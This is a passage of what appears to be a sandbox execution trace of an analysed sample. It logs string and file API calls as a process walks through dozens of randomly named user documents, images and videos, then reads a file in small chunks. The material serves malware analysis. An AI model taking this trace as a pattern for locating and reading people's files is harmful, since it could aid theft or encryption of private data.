_Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.104] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/H_7vjsWkN-J5Z6eIBTc0.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/z5JYw4cK3pxGs8vo6PWX.xls" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/cWNUtKIUih3Q13b4.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/dOgV5_S.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/imQafZ%20rPVsig5hI.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/ijdl3PP8E7asB.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/Ln5SnuP4Dif.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/XI9mo3.ppt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/KTPVXXq7GK6v-bTi3h2.csv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/gt_ueLv0.rtf" | out: _Str="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.105] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/U_x855jOMDYCkkuEDF4Y.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg" [0069.105] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/2aG4lBO.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/ZgiD.png" | out: _Str="file:///c:/users/aetadzjz/desktop/zgid.png") returned="file:///c:/users/aetadzjz/desktop/zgid.png" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/tKhgM7YtxiJ4tyGO3.csv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/9FO6AAcN.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/yV%20SMf4NsA554P3Vd9.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/r4xQHuyTC.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/0dhb1lQ5Yot7UDpqiLV.rtf" | out: _Str="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/TGStE51dA.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/x2Ubk6qMFay.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/XmFFFEkl.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.106] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/VsIu.ppt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt" [0069.106] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/nEyS-vVYoVcjNl64w.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/OE_9.docx" | out: _Str="file:///c:/users/aetadzjz/documents/oe_9.docx") returned="file:///c:/users/aetadzjz/documents/oe_9.docx" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/SpfA9u6bx.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/Lrl%20OSdTaq.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/KhpA.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned="file:///c:/users/aetadzjz/desktop/khpa.jpg" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/2SERkLWGvw2WR0dVkh.docx" | out: _Str="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/bOuKlN.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/ly3aGVy_y5cf6nMD50E1.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/u_Bk5.pps" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/FtCC9f70gXzbB.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif" [0069.107] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.107] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/yiW1h.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/mG6b0R2NV.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/s3ERd-a.bmp" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/C9uT6lYTwIA.xlsx" | out: _Str="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/j6DZIy9vQbux5.ppt" | out: _Str="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/kD4KvQSsjiOJqR1.flv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/w94FqoNg.rtf" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/s_XSUWu8QQnZOg4V9zrx.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/AlTyeUZ8kE/aARRlT_JtDPkKJt_SWo.xls" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/fPn_m8OwAAVY2i.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/1qpg-IyVnQu.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp" [0069.108] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.108] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/bnGTVm7.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx" [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.109] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/eye27EhQbLHL.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp" [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.109] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/4C7rg/EbI_g_ji2vd2vnKLrop5.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt" [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.109] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/Q6O2n7WwKPR.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp" [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.109] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/xV29v9LM6U3E.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp" [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.109] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/O954v.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif" [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.109] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/ihknzkjo.doc" | out: _Str="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc" [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.109] SetFilePointer (in: hFile=0xc8, lDistanceToMove=57472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe080 [0069.109] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.109] SetFilePointer (in: hFile=0xc8, lDistanceToMove=57600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe100 [0069.109] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.109] SetFilePointer (in: hFile=0xc8, lDistanceToMove=57728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe180 [0069.109] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.109] SetFilePointer (in: hFile=0xc8, lDistanceToMove=57856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe200 [0069.109] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.109] SetFilePointer (in: hFile=0xc8, lDistanceToMove=57984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe280 [0069.109] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.109] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=58112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe300 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=58240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe380 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=58368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe400 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=58496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe480 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=58624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe500 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=58752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe580 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.110] SetFilePointer (in: hFile=0xc8, lDistanceToMove=58880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe600 [0069.110] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.110] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 